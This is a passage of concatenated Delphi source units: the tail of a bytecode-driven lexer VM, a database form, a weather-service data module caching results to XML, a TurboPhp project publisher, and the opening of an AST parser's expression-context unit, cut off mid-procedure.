INSN_VMSTART:; else EXEC_UNIMPLEMENTED; end; end; class procedure TVirtualMachine.Deserialize(const Name: string); var Header: THeader; begin CResourceStream := TResourceStream.Create(HInstance, Name, RT_RCDATA); try CResourceStream.Read(Header, SizeOf(THeader)); CMemory := PByte(CResourceStream.Memory) + SizeOf(THeader); CByteCode := PByte(CMemory) + Header.SizeOfMemory; CFirstRule := PByte(CMemory) + Header.FirstRuleOffset; except RaiseLastOSError(); end; end; procedure TVirtualMachine._PUSH(Value: Integer); begin FStack[FSI] := Value; Inc(FSI); end; function TVirtualMachine._POP(): Integer; begin Result := FStack[FSI - 1]; Dec(FSI); end; procedure TVirtualMachine.PushSection(Section: Integer); begin FSections[FSSI] := Section; FRegisters[1] := Section; Inc(FSSI); end; function TVirtualMachine.PopSection(): Integer; begin Result := FSections[FSSI - 1]; FRegisters[1] := Result; Dec(FSSI); end; function TVirtualMachine.CurrentSection(): Integer; begin Result := FSections[FSSI - 1]; end; procedure TVirtualMachine.EXEC_SETSTATE(); begin FState := FUImmediate; end; procedure TVirtualMachine.EXEC_UNDEFINED(); begin raise VMException.CreateFmt('opcode %02x is undefined.', [FOpCode]); end; procedure TVirtualMachine.EXEC_UNIMPLEMENTED(); begin raise VMException.Create('unimplemented code encountered.'); end; procedure TVirtualMachine.EXEC_VMEND(); begin FTerminate := True; end; function TVirtualMachine.FindRuleInfoFromIndex(Index: Integer): Pointer; begin Result := FFirstRule; Inc(PRuleInfo(Result), Index); end; procedure TVirtualMachine.EXEC_PEEK(); begin FRegisters[0] := FCodePointStream.Peek(); end; procedure TVirtualMachine.EXEC_ADVANCE(); begin FRegisters[0] := FCodePointStream.Advance(); end; procedure TVirtualMachine.EXEC_BEQ(); begin // branch if equal. if F_E in FFlags then FIP := FIA + FRelative; FFlags := []; end; procedure TVirtualMachine.EXEC_BNEQ(); begin // branch if not equal. if not(F_E in FFlags) then FIP := FIA + FRelative; FFlags := []; end; procedure TVirtualMachine.EXEC_BGT(); begin // branch if greater than. if F_G in FFlags then FIP := FIA + FRelative; end; procedure TVirtualMachine.EXEC_BGE(); begin // branch if greater than or equal. if (F_G in FFlags) or (F_E in FFlags) then FIP := FIA + FRelative; end; procedure TVirtualMachine.EXEC_BLT(); begin // branch if less than. if F_L in FFlags then FIP := FIA + FRelative; end; procedure TVirtualMachine.EXEC_BLE(); begin // branch if less than or equal. if (F_L in FFlags) or (F_E in FFlags) then FIP := FIA + FRelative; end; procedure TVirtualMachine.EXEC_B(); begin FIP := FIA + FRelative; end; procedure TVirtualMachine.EXEC_CALL(); begin _PUSH(Integer(FIP)); FIP := FIA + FRelative; end; procedure TVirtualMachine.EXEC_RET(); begin FIP := PByte(_POP); end; procedure TVirtualMachine.EXEC_MARK(); begin FMarkedPosition := FCodePointStream.Position; FMarked[FMI] := FImmediate; Inc(FMI); end; procedure TVirtualMachine.EXEC_FORGET(); begin FMI := 0; FMarked[0] := TK_ILLEGAL; end; procedure TVirtualMachine.EXEC_ISATX(); begin FFlags := []; if FImmediate = 0 then begin if FAtStart then Include(FFlags, F_E); end else begin if FCodePointStream.Peek = -1 then Include(FFlags, F_E); end; end; procedure TVirtualMachine.EXEC_INRANGE(); type TRange = record Min: Integer; Max: Integer; end; PRange = ^TRange; var Count: Integer; I: Integer; Range: PRange; Reg: Integer; begin I := 0; Range := PRange(PByte(FMemory) + FOffset); Dec(Range); Count := Range^.Max; Inc(Range); Reg := FRegisters[FRR]; while (I <> Count) do begin if ((Reg >= Range^.Min) and (Reg <= Range^.Max)) then begin Include(FFlags, F_E); exit; end; Inc(I); Inc(Range); end; FFlags := []; end; procedure TVirtualMachine.InitVM(); begin FTerminate := False; FMI := 0; FSI := 0; FIP := FBytecode; FIA := nil; FFlags := []; end; procedure TVirtualMachine.RecoverTokenText(Token: TToken); var Text: string; I: Integer; begin if Token.TokenType = -1 then begin Token.Text := '<EOF>'; exit; end; Text := ''; for I := Token.StartPos to Token.EndPos do Text := Text + FCodePointStream.Chars[I]; Token.Text := Text; end; procedure TVirtualMachine.Run(); begin InitVM(); while not(FTerminate) do begin Decode(); Execute(); end; end; procedure TVirtualMachine.Skip(); begin Include(FTokenFlags, tfSkip); end; procedure TVirtualMachine.UnSkip(); begin Exclude(FTokenFlags, tfSkip); end; procedure TVirtualMachine.Reject(); begin Include(FTokenFlags, tfReject); end; procedure TVirtualMachine.UnReject(); begin Exclude(FTokenFlags, tfReject); end; function TVirtualMachine.Parse(): TToken; var I: Integer; RuleInfo: PRuleInfo; LTokenType: Integer; label Entry; begin Entry: Result := TToken.Create; FStartPos := FCodePointStream.Position; FTokens.Add(Pointer(Result)); Result.StartPos := FStartPos; Result.Line := FCodePointStream.Line; Result.Column := FCodePointStream.Column; LTokenType := TK_ILLEGAL; FMarkedPosition := -1; EXEC_FORGET(); if (FCodePointStream.Peek() = -1) then begin Result.TokenType := 0; exit; end; { run the VM } Run(); Result.EndPos := FMarkedPosition; for I := 0 to MAX_MARK_COUNT - 1 do begin if FMarked[I] = TK_ILLEGAL then break; RuleInfo := FindRuleInfoFromIndex(FMarked[I]); if not(Assigned(RuleInfo)) then raise Exception.Create('Error Message'); FTokenFlags := []; LTokenType := RuleInfo^.TokenType; if RuleInfo^.ActionIndex <> ILLEGAL_ACTION_INDEX then begin UserAction(RuleInfo^.ActionIndex); if tfReject in FTokenFlags then begin LTokenType := TK_ILLEGAL; Continue; end; end; break; end; if (LTokenType <> TK_ILLEGAL) then begin Result.TokenType := LTokenType; FCodePointStream.Column := FCodePointStream.Column - (FCodePointStream.Position - FMarkedPosition); FCodePointStream.Position := FMarkedPosition; Result.EndPos := FMarkedPosition - 1; RecoverTokenText(Result); end else begin raise Exception.Create('Invalid token at ' + IntToStr(FCodePointStream.Position)); end; if tfSkip in FTokenFlags then goto Entry; end; end.
unit ClassActions; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Grids, DBGrids, ToolWin, ComCtrls, StdCtrls, MainDM, Db, IBCustomDataSet, IBQuery, IBDatabase, ActnList; type TFormClassAction = class(TForm) Splitter1: TSplitter; StatusBar1: TStatusBar; GroupBoxCalsses: TGroupBox; ToolBar2: TToolBar; ToolButtonAddClass: TToolButton; ToolButtonEditClass: TToolButton; TreeView1: TTreeView; GroupBoxActions: TGroupBox; DBGrid1: TDBGrid; ToolBar1: TToolBar; ToolButtonAddAction: TToolButton; ToolButtonEditAction: TToolButton; ToolButton1: TToolButton; ToolButton2: TToolButton; IBQueryActions: TIBQuery; IBTransactionActions: TIBTransaction; DataSourceActions: TDataSource; ActionList: TActionList; AddAction: TAction; EditAction: TAction; procedure AddActionExecute(Sender: TObject); procedure FormCreate(Sender: TObject); procedure EditActionExecute(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } end; implementation {$R *.DFM} uses AddAction; procedure TFormClassAction.FormCreate(Sender: TObject); begin try IBQueryActions.Open; except on exc: Exception do begin MessageBox(Handle, PChar('Ошибка! Невозможно выполнить запрос ! '+exc.Message), PChar('Ошибка'),MB_OK+MB_ICONERROR); end; end; end; procedure TFormClassAction.AddActionExecute(Sender: TObject); var FormAddAction: TFormAddAction; begin FormAddAction := TFormAddAction.Create(Self, fmAdd); FormAddAction.ShowModal; if FormAddAction.ModalResult <> mrCancel then begin IBQueryActions.Close; IBQueryActions.Open; if FormAddAction.ResultID <> -1 then IBQueryActions.Locate('ID_ACTION',FormAddAction.ResultID,[]); end; FormAddAction.Free; end; procedure TFormClassAction.EditActionExecute(Sender: TObject); var FormEditAction: TFormAddAction; EditRecID: Integer; begin EditRecID := IBQueryActions.FieldByName('ID_ACTION').AsInteger; FormEditAction := TFormAddAction.Create(Self, fmEdit); FormEditAction.ShowModal; IBQueryActions.Close; IBQueryActions.Open; IBQueryActions.Locate('ID_ACTION',EditRecID,[]); FormEditAction.Free; end; procedure TFormClassAction.FormClose(Sender: TObject; var Action: TCloseAction); begin Action := caFree; end; end.
unit DMWeatherUnit; interface uses FMX.Platform, System.SysUtils, System.Classes, Xml.xmldom, Xml.XMLIntf, Xml.adomxmldom, Xml.XMLDoc, weather_utils, Data.DB, Datasnap.DBClient, System.Types, fillables; type TDMWeather = class(TDataModule) cdsCountry: TClientDataSet; cdsCountryCountry: TStringField; cdsCities: TClientDataSet; cdsCitiesCity: TStringField; cdsCitiesCountry: TStringField; cdsFavorites: TClientDataSet; cdsFavoritesCountry: TStringField; cdsFavoritesCity: TStringField; cdsWeather: TClientDataSet; cdsWeatherLocName: TStringField; cdsWeatherLocCode: TStringField; cdsWeatherLocLatitude: TSingleField; cdsWeatherLocLongitude: TSingleField; cdsWeatherLocAltitude: TSingleField; cdsWeatherTime: TDateTimeField; cdsWeatherWindDir: TSingleField; cdsWeatherWind: TStringField; cdsWeatherWindSpeed: TSingleField; cdsWeatherVisibility: TStringField; cdsWeatherSkyConditions: TStringField; cdsWeatherTempF: TSingleField; cdsWeatherTempC: TSingleField; cdsWeatherDewPoint: TStringField; cdsWeatherRelativeHumidity: TSingleField; cdsWeatherPressureHg: TSingleField; cdsWeatherPressurehPa: TSingleField; cdsWeatherStatus: TStringField; cdsWeatherCity: TStringField; cdsWeatherCountry: TStringField; cdsStatus: TClientDataSet; cdsStatusLastUpdated: TDateTimeField; procedure DataModuleCreate(Sender: TObject); private FLastUpdated: TFillableDateTime; procedure GetCountriesFromWS(strs: TStrings); procedure GetCitiesFromWS(country: string; strs: TStrings); function GetLastUpdated: TFillableDateTime; function GetPath: string; public procedure GetCountries(strs: TStrings); function GetCountryList: TStringDynArray; function GetCityList(country: string): TStringDynArray; procedure GetCities(country: string; strs: TStrings); function GetWeatherXML(city, country: string): string; // to be moved to private function GetWeatherRec(city, country: string; var wr: TWeatherRec): boolean; function GetWeatherInfo(cc: TCityCountry; var info: TWeatherInfo): boolean; procedure FavoritesUpdate; function FavoritesGet: TCityCountryDynArray; function FavoritesAdd(cc: TCityCountry): boolean; function FavoritesDelete(cc: TCityCountry): boolean; function FavoritesDel(index: integer): boolean; procedure GetLastWeather; procedure UpdateWeather; procedure LastUpdatedInfoLoad; // reads last updated info procedure LastUpdateInfoStore; // updates last updated info to current time property LastUpdated: TFillableDateTime read GetLastUpdated; end; var DMWeather: TDMWeather; implementation {%CLASSGROUP 'FMX.Controls.TControl'} uses proxy_country, xmlbinding_countries, xmlbinding_countrycities, proxy_globalweather, xmlbinding_weather; {$R *.dfm} const COUNTRY_FILENAME = 'countries.xml'; CITY_FILENAME = 'cities.xml'; FAVORITES_FILENAME = 'favorites.xml'; WEATHER_FILENAME = 'weather.xml'; STATUS_FILENAME = 'status.xml'; { TDMWeather } procedure TDMWeather.DataModuleCreate(Sender: TObject); begin FLastUpdated.IsFilled := False; end; function TDMWeather.FavoritesAdd(cc: TCityCountry): boolean; var rec_exists: boolean; begin Result := False; if (cc.City <> '') and (cc.Country <> '') then begin rec_exists := False; if FileExists(GetPath + FAVORITES_FILENAME) then begin cdsFavorites.LoadFromFile(GetPath + FAVORITES_FILENAME); cdsFavorites.Filter := 'Country = ''' + cc.Country + ''' and City = ''' + cc.City + ''''; cdsFavorites.Filtered := True; cdsFavorites.Active := True; rec_exists := cdsFavorites.RecordCount > 0; end else begin cdsFavorites.CreateDataSet; cdsFavorites.Active := True; end; cdsFavorites.Filtered := False; if not rec_exists then begin cdsFavorites.Append; cdsFavoritesCountry.AsString := cc.Country; cdsFavoritesCity.AsString := cc.City; cdsFavorites.Post; cdsFavorites.MergeChangeLog; cdsFavorites.SaveToFile(GetPath + FAVORITES_FILENAME); Result := True; end; cdsFavorites.Active := False; end; end; function TDMWeather.FavoritesDel(index: integer): boolean; begin Result := False; if index > 0 then begin if FileExists(GetPath + FAVORITES_FILENAME) then begin cdsFavorites.LoadFromFile(GetPath + FAVORITES_FILENAME); cdsFavorites.Active := True; if index <= cdsFavorites.RecordCount then begin cdsFavorites.RecNo := index; cdsFavorites.Delete; cdsFavorites.MergeChangeLog; cdsFavorites.SaveToFile(GetPath + FAVORITES_FILENAME); Result := True; end; end; end; end; function TDMWeather.FavoritesDelete(cc: TCityCountry): boolean; begin Result := False; if (cc.City <> '') and (cc.Country <> '') then begin if FileExists(GetPath + FAVORITES_FILENAME) then begin cdsFavorites.LoadFromFile(GetPath + FAVORITES_FILENAME); cdsFavorites.Filter := 'Country = ''' + cc.Country + ''' and City = ''' + cc.City + ''''; cdsFavorites.Filtered := True; cdsFavorites.Active := True; if cdsFavorites.RecordCount > 0 then begin cdsFavorites.Delete; cdsFavorites.MergeChangeLog; cdsFavorites.SaveToFile(GetPath + FAVORITES_FILENAME); Result := True; end; cdsFavorites.Filtered := False; cdsFavorites.Active := False; end end; end; function TDMWeather.FavoritesGet: TCityCountryDynArray; var aCount, i: integer; begin if FileExists(GetPath + FAVORITES_FILENAME) then begin cdsFavorites.LoadFromFile(GetPath + FAVORITES_FILENAME); cdsFavorites.Active := True; aCount := cdsFavorites.RecordCount; SetLength(Result, aCount); if aCount > 0 then for i := 0 to aCount-1 do begin Result[i].City := cdsFavoritesCity.AsString; Result[i].Country := cdsFavoritesCountry.AsString; cdsFavorites.Next; end; cdsFavorites.Active := False; end else SetLength(Result,0); end; procedure TDMWeather.FavoritesUpdate; begin if FileExists(GetPath + FAVORITES_FILENAME) then begin cdsFavorites.Active := False; cdsFavorites.LoadFromFile(GetPath + FAVORITES_FILENAME); end else cdsFavorites.CreateDataSet; cdsFavorites.Active := True; end; procedure TDMWeather.GetCities(country: string; strs: TStrings); var i: integer; localdata_exists: boolean; begin localdata_exists := False; if FileExists(GetPath + CITY_FILENAME) then begin cdsCities.LoadFromFile(GetPath + CITY_FILENAME); cdsCities.Filter := 'Country = ''' + country + ''''; cdsCities.Filtered := True; cdsCities.Active := True; localdata_exists := cdsCities.RecordCount > 0; end; if localdata_exists then begin strs.Clear; while not cdsCities.Eof do begin strs.Add(cdsCitiesCity.AsString); cdsCities.Next; end; cdsCities.Active := False; end else begin // no local data, load from web service and update local file GetCitiesFromWS(country, strs); if not FileExists(GetPath + CITY_FILENAME) then cdsCities.CreateDataSet; cdsCities.Filtered := False; cdsCities.Active := True; if strs.Count > 0 then for i := 0 to strs.Count-1 do begin cdsCities.Append; cdsCitiesCity.AsString := strs[i]; cdsCitiesCountry.AsString := country; cdsCities.Post; end else // no cities, but we want to add an empty record, so we do not retrieve cities from a web service again begin cdsCities.Append; cdsCitiesCity.AsString := ''; cdsCitiesCountry.AsString := country; cdsCities.Post; end; cdsCities.MergeChangeLog; cdsCities.SaveToFile(GetPath + CITY_FILENAME); cdsCities.Active := False; end; end; procedure TDMWeather.GetCitiesFromWS(country: string; strs: TStrings); var s: string; i: integer; xmldoc: TXMLDocument; cities: xmlbinding_countrycities.IXMLNewDataSetType; begin if strs <> nil then begin strs.Clear; s := GetGlobalWeatherSoap.GetCitiesByCountry(country); xmldoc := TXMLDocument.Create(nil); try xmldoc.DOMVendor := GetDOMVendor('ADOM XML v4'); xmldoc.XML.Add(s); cities := xmlbinding_countrycities.GetNewDataSet(xmldoc); if cities <> nil then for i := 0 to cities.Count-1 do strs.Add(cities[i].City); finally // xmldoc.Free; end; end; end; function TDMWeather.GetCityList(country: string): TStringDynArray; var cs: TStringList; i: Integer; begin cs := TStringList.Create; try GetCities(country, cs); SetLength(Result, cs.Count); for i := 0 to cs.Count-1 do Result[i] := cs[i]; finally cs.Free; end; end; procedure TDMWeather.GetLastWeather; begin if FileExists(GetPath + WEATHER_FILENAME) then begin cdsWeather.Active := False; cdsWeather.LoadFromFile(GetPath + WEATHER_FILENAME); cdsWeather.Active := True; LastUpdatedInfoLoad; end; end; procedure TDMWeather.UpdateWeather; var favs: TCityCountryDynArray; i: integer; info: TWeatherInfo; begin cdsWeather.Active := False; cdsWeather.CreateDataSet; cdsWeather.Active := True; // FavoritesUpdate; favs := FavoritesGet; try for i := 0 to Length(favs)-1 do begin if GetWeatherInfo(favs[i],info) then begin cdsWeather.Append; cdsWeatherCity.AsString := favs[i].City; cdsWeatherCountry.AsString := favs[i].Country; cdsWeatherLocName.AsString := info.LocName; cdsWeatherLocCode.AsString := info.LocCode; SetSingleField(cdsWeatherLocLatitude, info.LocLatitude); SetSingleField(cdsWeatherLocLongitude, info.LocLongitude); SetSingleField(cdsWeatherLocAltitude, info.LocAltitude); SetDateTimeField(cdsWeatherTime, info.DateTimeUTC); cdsWeatherWind.AsString := info.Wind; SetSingleField(cdsWeatherWindDir, info.WindDir); SetSingleField(cdsWeatherWindSpeed, info.WindSpeed); cdsWeatherVisibility.AsString := info.Visibility; cdsWeatherSkyConditions.AsString := info.SkyConditions; SetSingleField(cdsWeatherTempF, info.TempF); SetSingleField(cdsWeatherTempC, info.TempC); cdsWeatherDewPoint.AsString := info.DewPoint; SetSingleField(cdsWeatherRelativeHumidity, info.RelativeHumidity); SetSingleField(cdsWeatherPressureHg, info.PressureHg); SetSingleField(cdsWeatherPressurehPa, info.PressurehPa); cdsWeatherStatus.AsString := info.Status; cdsWeather.Post; end; end; cdsWeather.MergeChangeLog; if cdsWeather.RecordCount > 0 then begin cdsWeather.SaveToFile(GetPath + WEATHER_FILENAME); LastUpdateInfoStore; end else begin // in case there is problem getting new weather, load from file if exists GetLastWeather; end; finally Finalize(favs); end; end; procedure TDMWeather.GetCountries(strs: TStrings); var localdata_exists: boolean; i: integer; begin localdata_exists := False; if FileExists(GetPath + COUNTRY_FILENAME) then begin cdsCountry.LoadFromFile(GetPath + COUNTRY_FILENAME); cdsCountry.Active := True; localdata_exists := cdsCountry.RecordCount > 0; end; if localdata_exists then begin strs.Clear; while not cdsCountry.Eof do begin strs.Add(cdsCountryCountry.AsString); cdsCountry.Next; end; cdsCountry.Active := False; end else begin // no local data, load from web service and update local file GetCountriesFromWS(strs); cdsCountry.CreateDataSet; cdsCountry.Active := True; for i := 0 to strs.Count-1 do begin cdsCountry.Append; cdsCountryCountry.AsString := strs[i]; cdsCountry.Post; end; cdsCountry.MergeChangeLog; cdsCountry.SaveToFile(GetPath + COUNTRY_FILENAME); cdsCountry.Active := False; end; end; procedure TDMWeather.GetCountriesFromWS(strs: TStrings); var s: string; i: integer; xmldoc: TXMLDocument; countries: xmlbinding_countries.IXMLNewDataSetType; begin if strs <> nil then begin strs.Clear; s := GetCountrySOAP.GetCountries; xmldoc := TXMLDocument.Create(nil); try xmldoc.DOMVendor := GetDOMVendor('ADOM XML v4'); xmldoc.XML.Add(s); countries := xmlbinding_countries.GetNewDataSet(xmldoc); if countries <> nil then for i := 0 to countries.Count-1 do strs.Add(countries[i].Name); finally // xmldoc.Free; end; end; end; function TDMWeather.GetCountryList: TStringDynArray; var cs: TStringList; i: Integer; begin cs := TStringList.Create; try GetCountries(cs); SetLength(Result,cs.Count); for i := 0 to cs.Count-1 do Result[i] := cs[i]; finally cs.Free; end; end; function TDMWeather.GetLastUpdated: TFillableDateTime; begin LastUpdatedInfoLoad; Result := FLastUpdated; end; function TDMWeather.GetPath: string; begin {$IFDEF IOS} Result := GetHomePath + PathDelim + 'Documents' + PathDelim; {$ELSE} {$IFDEF MACOS} Result := ''; {$ENDIF MACOS} {$ENDIF IOS} {$IFDEF MSWINDOWS} Result := ''; {$ENDIF} end; function TDMWeather.GetWeatherXML(city, country: string): string; begin Result := GetGlobalWeatherSoap.GetWeather(city, country); end; procedure TDMWeather.LastUpdatedInfoLoad; begin FLastUpdated.IsFilled := False; if FileExists(GetPath + STATUS_FILENAME) then begin cdsStatus.Active := False; cdsStatus.LoadFromFile(GetPath + STATUS_FILENAME); cdsStatus.Active := True; if cdsStatus.RecordCount > 0 then begin FLastUpdated.IsFilled := True; FLastUpdated.Value := cdsStatusLastUpdated.AsDateTime; end; end; end; procedure TDMWeather.LastUpdateInfoStore; begin cdsStatus.Active := False; cdsStatus.CreateDataSet; cdsStatus.Active := True; cdsStatus.Append; FLastUpdated.Value := Now; FLastUpdated.IsFilled := True; cdsStatusLastUpdated.AsDateTime := FLastUpdated.Value; cdsStatus.Post; cdsStatus.MergeChangeLog; cdsStatus.SaveToFile(GetPath + STATUS_FILENAME); end; function TDMWeather.GetWeatherInfo(cc: TCityCountry; var info: TWeatherInfo): boolean; var wr: TWeatherRec; begin Result := GetWeatherRec(cc.City, cc.Country, wr); if Result then info := WeatherRecToInfo(wr); end; function TDMWeather.GetWeatherRec(city, country: string; var wr: TWeatherRec): boolean; var s: string; i: integer; xmldoc: TXMLDocument; cw: IXMLCurrentWeatherType; begin s := GetWeatherXML(city, country); Result := SameStr(copy(s,1,5), '<?xml'); if Result then begin s := StringReplace(s, 'utf-16', 'utf-8', [rfIgnoreCase]); xmldoc := TXMLDocument.Create(nil); try xmldoc.DOMVendor := GetDOMVendor('ADOM XML v4'); xmldoc.XML.Add(s); cw := GetCurrentWeather(xmldoc); if cw <> nil then begin wr.Location := cw.Location; wr.Time := cw.Time; wr.Wind := cw.Wind; wr.Visibility := cw.Visibility; wr.SkyConditions := cw.SkyConditions; wr.Temperature := cw.Temperature; wr.RelativeHumidity := cw.RelativeHumidity; wr.Pressure := cw.Pressure; wr.Status := cw.Status; end; finally // xmldoc.Free; end; end; end; end.
unit Project; interface uses SysUtils, Classes, Contnrs, LrDocument, LrTreeData, LrProject, htDatabases, Servers; type TDocumentItem = class(TLrProjectItem) end; // TProject = class(TLrProject) protected function GetDatabasesFilename: string; function GetPublishFolder(inDocument: TLrDocument): string; function GetPublishRoot: string; function GetPublishUrl(inDocument: TLrDocument): string; function GetUrlRoot: string; function GetServersFilename: string; procedure InitDocumentNode; procedure InstallDocumentNode; procedure InstallSpecialNodes; procedure SaveItem(inSender: TLrTreeLeaf; inIndex: Integer; var inAllow: Boolean); override; public Databases: ThtDatabasesItem; Servers: TServersItem; Documents: TLrFolderItem; constructor Create; override; procedure AddDocumentItem(const inFilename: string); procedure DocumentChange(Sender: TObject); procedure Open(const inFilename: string); override; procedure Save; override; procedure PublishDocument(const inFilename: string); procedure PublishDocuments(inItem: TLrProjectItem = nil); property PublishFolder[inDocument: TLrDocument]: string read GetPublishFolder; property PublishUrl[inDocument: TLrDocument]: string read GetPublishUrl; end; // TPublishableDocument = class(TLrDocument) //procedure Publish(const inTarget: string); overload; virtual; abstract; function Publish(const inProject: TProject): string; overload; virtual; abstract; end; implementation uses LrUtils, LrVclUtils, Controller, Documents, TurboPhpDocument; { TProject } constructor TProject.Create; begin inherited; EnableSaveAs('TurboPhp Projects', '.tprj'); InstallSpecialNodes; InstallDocumentNode; end; procedure TProject.InstallSpecialNodes; begin Servers := TServersItem.Create; Items.Add(Servers); Servers.ImageIndex := 0; Servers.DisplayName := 'Servers'; Servers.ComponentIndex := 0; // Databases := ThtDatabasesItem.Create; Items.Add(Databases); Databases.ImageIndex := 2; Databases.DisplayName := 'Databases'; Databases.ComponentIndex := 1; end; procedure TProject.InstallDocumentNode; begin Items.Add(TLrFolderItem.Create); InitDocumentNode; end; procedure TProject.InitDocumentNode; begin Documents := TLrFolderItem(Items[2]); Documents.ImageIndex := 4; Documents.DisplayName := 'Root'; end; function TProject.GetDatabasesFilename: string; begin Result := Filename + '.dbs'; end; function TProject.GetServersFilename: string; begin Result := Filename + '.servers'; end; procedure TProject.Open(const inFilename: string); begin if FileExists(inFilename) then begin Filename := inFilename; LoadFromFile(Filename); InstallSpecialNodes; Servers.LoadFromFile(GetServersFilename); Databases.LoadFromFile(GetDatabasesFilename); InitDocumentNode; inherited; end; end; procedure TProject.SaveItem(inSender: TLrTreeLeaf; inIndex: Integer; var inAllow: Boolean); begin with inSender do inAllow := (Items[inIndex] <> Servers) and (Items[inIndex] <> Databases); //inAllow := (inSender <> Items) or (inIndex > 1); end; procedure TProject.Save; begin SaveToFile(Filename); Servers.SaveToFile(GetServersFilename); Databases.SaveToFile(GetDatabasesFilename); inherited; end; procedure TProject.AddDocumentItem(const inFilename: string); var item: TLrProjectItem; begin if Documents.FindBySource(inFilename) = nil then begin item := TDocumentItem.Create; item.Source := inFilename; item.ImageIndex := 5; Documents.Add(item); end; end; procedure TProject.DocumentChange(Sender: TObject); var d: TLrDocument; item: TLrProjectItem; begin d := TLrDocument(Sender); item := Documents.FindBySource(d.OldFilename); if (item <> nil) then begin item.Source := d.Filename; d.OldFilename := d.Filename; end; end; function TProject.GetPublishRoot: string; begin Result := IncludeTrailingBackslash(Servers.DefaultServer.Root); end; function TProject.GetUrlRoot: string; begin Result := IncludeTrailingFrontslash(Servers.DefaultServer.Host); end; function TProject.GetPublishFolder(inDocument: TLrDocument): string; var item: TLrProjectItem; begin Result := GetPublishRoot; item := Documents.FindBySource(inDocument.Filename); if (item <> nil) then Result := Result + item.FolderPath; Result := IncludeTrailingBackslash(Result); // + ChangeFileExt(ExtractFileName(inDocument.Filename), '.html'); end; function TProject.GetPublishUrl(inDocument: TLrDocument): string; var item: TLrProjectItem; begin Result := GetUrlRoot; item := Documents.FindBySource(inDocument.Filename); if (item <> nil) then Result := Result + item.FolderPath; Result := StringReplace(Result, '\', '/', [ rfReplaceAll ]); Result := IncludeTrailingFrontslash(Result); // + ChangeFileExt(ExtractFileName(inDocument.Filename), '.html'); end; procedure TProject.PublishDocument(const inFilename: string); begin with TTurboPhpDocument.Create do try Open(inFilename); Publish(Self); finally Free; end; end; procedure TProject.PublishDocuments(inItem: TLrProjectItem); var i: Integer; d: TLrDocument; begin if inItem = nil then inItem := Documents; for i := 0 to Pred(inItem.Count) do begin d := Desktop.FindDocument(inItem[i].Source); if (d <> nil) and (d.Modified) and (d is TPublishableDocument) then TPublishableDocument(d).Publish(Self); PublishDocuments(inItem[i]); end; end; initialization RegisterClass(TDocumentItem); end.
unit AST.Parser.Contexts; interface uses System.SysUtils, AST.Delphi.Operators, AST.Delphi.Classes, AST.Classes; type TASTSContext<TProc> = record private fModule: TASTModule; fScope: TScope; fBlock: TASTBlock; fProc: TProc; function GetIsLoopBody: Boolean; inline; function GetIsTryBlock: Boolean; inline; public constructor Create(const Module: TASTModule; Scope: TScope; Proc: TProc; Block: TASTBlock); overload; constructor Create(const Module: TASTModule; Scope: TScope); overload; function MakeChild(Scope: TScope; Block: TASTBlock): TASTSContext<TProc>; //inline; function Add<T: TASTItem>: T; overload; // do not use due to compiler erros function Add(T: TASTItemClass): TASTItem; overload; procedure AddItem(const Item: TASTItem); property Module: TASTModule read fModule; property Proc: TProc read fProc; property Block: TASTBlock read fBlock; property Scope: TScope read fScope; property IsLoopBody: Boolean read GetIsLoopBody; property IsTryBlock: Boolean read GetIsTryBlock; end; TExpessionPosition = AST.Delphi.Classes.TExpessionPosition;// (ExprNested, ExprLValue, ExprRValue, ExprNestedGeneric); TRPNStatus = (rprOk, rpOperand, rpOperation); {expression context - use RPN (Reverse Polish Notation) stack} TASTEContext<TProc> = record type TRPNItems = array of TOperatorID; TRPNError = (reDublicateOperation, reUnnecessaryClosedBracket, reUnclosedOpenBracket); TRPNPocessProc = function (var EContext: TASTEContext<TProc>; OpID: TOperatorID): TIDExpression of object; private fRPNOArray: TRPNItems; // Operations array fRPNEArray: TIDExpressions; // Operands array fRPNOArrayLen: Integer; // пердвычисленный размер входного списка fRPNOpCount: Integer; // указывает на следющий свободный элемент входного списка fRPNEArrayLen: Integer; // пердвычисленный размер выходного списка fRPNExprCount: Integer; // указывает на следющий свободный элемент выходного списка fRPNLastOp: TOperatorID; fRPNPrevPriority: Integer; fProcessProc: TRPNPocessProc; fPosition: TExpessionPosition; // позиция выражения (Nested, LValue, RValue...); fSContext: TASTSContext<TProc>; procedure RPNCheckInputSize; function GetExpression: TIDExpression; function GetProc: TProc; public procedure Initialize(const SContext: TASTSContext<TProc>; const ProcessProc: TRPNPocessProc); procedure Reset; // clear RPN stack and reinit procedure RPNPushExpression(Expr: TIDExpression); procedure RPNError(Status: TRPNError); procedure RPNPushOpenRaund; procedure RPNPushCloseRaund; procedure RPNEraiseTopOperator; procedure RPNFinish; function RPNPopOperator: TIDExpression; function RPNPushOperator(OpID: TOperatorID): TRPNStatus; function RPNReadExpression(Index: Integer): TIDExpression; inline; function RPNLastOperator: TOperatorID; function RPNPopExpression: TIDExpression; function RPNTryPopExpression: TIDExpression; property RPNExprCount: Integer read fRPNExprCount; property RPNLastOp: TOperatorID read fRPNLastOp; property Result: TIDExpression read GetExpression; property EPosition: TExpessionPosition read fPosition write fPosition; property SContext: TASTSContext<TProc> read fSContext; property Proc: TProc read GetProc; end; implementation uses AST.Parser.Errors, AST.Pascal.Parser, AST.Lexer, AST.Delphi.Errors; { TRPN } procedure TASTEContext<TProc>.RPNCheckInputSize; begin if fRPNOpCount >= fRPNOArrayLen then begin Inc(fRPNOArrayLen, 8); SetLength(fRPNOArray, fRPNOArrayLen); end; end; procedure TASTEContext<TProc>.RPNPushExpression(Expr: TIDExpression); begin fRPNEArray[fRPNExprCount] := Expr; Inc(fRPNExprCount); if fRPNExprCount >= fRPNEArrayLen then begin Inc(fRPNEArrayLen, 8); SetLength(fRPNEArray, fRPNEArrayLen); end; fRPNLastOp := opNone; end; procedure TASTEContext<TProc>.RPNError(Status: TRPNError); begin case Status of reUnclosedOpenBracket: AbortWork(sUnclosedOpenBracket, TTextPosition.Empty); reDublicateOperation: AbortWork(sDublicateOperationFmt, TTextPosition.Empty); end; end; procedure TASTEContext<TProc>.RPNPushOpenRaund; begin fRPNOArray[fRPNOpCount] := opOpenRound; Inc(fRPNOpCount); RPNCheckInputSize; fRPNLastOp := opOpenRound; end; procedure TASTEContext<TProc>.RPNPushCloseRaund; var op: TOperatorID; begin fRPNLastOp := opCloseRound; while fRPNOpCount > 0 do begin Dec(fRPNOpCount); op := fRPNOArray[fRPNOpCount]; if op <> opOpenRound then begin fRPNEArray[fRPNExprCount] := fProcessProc(Self, Op); 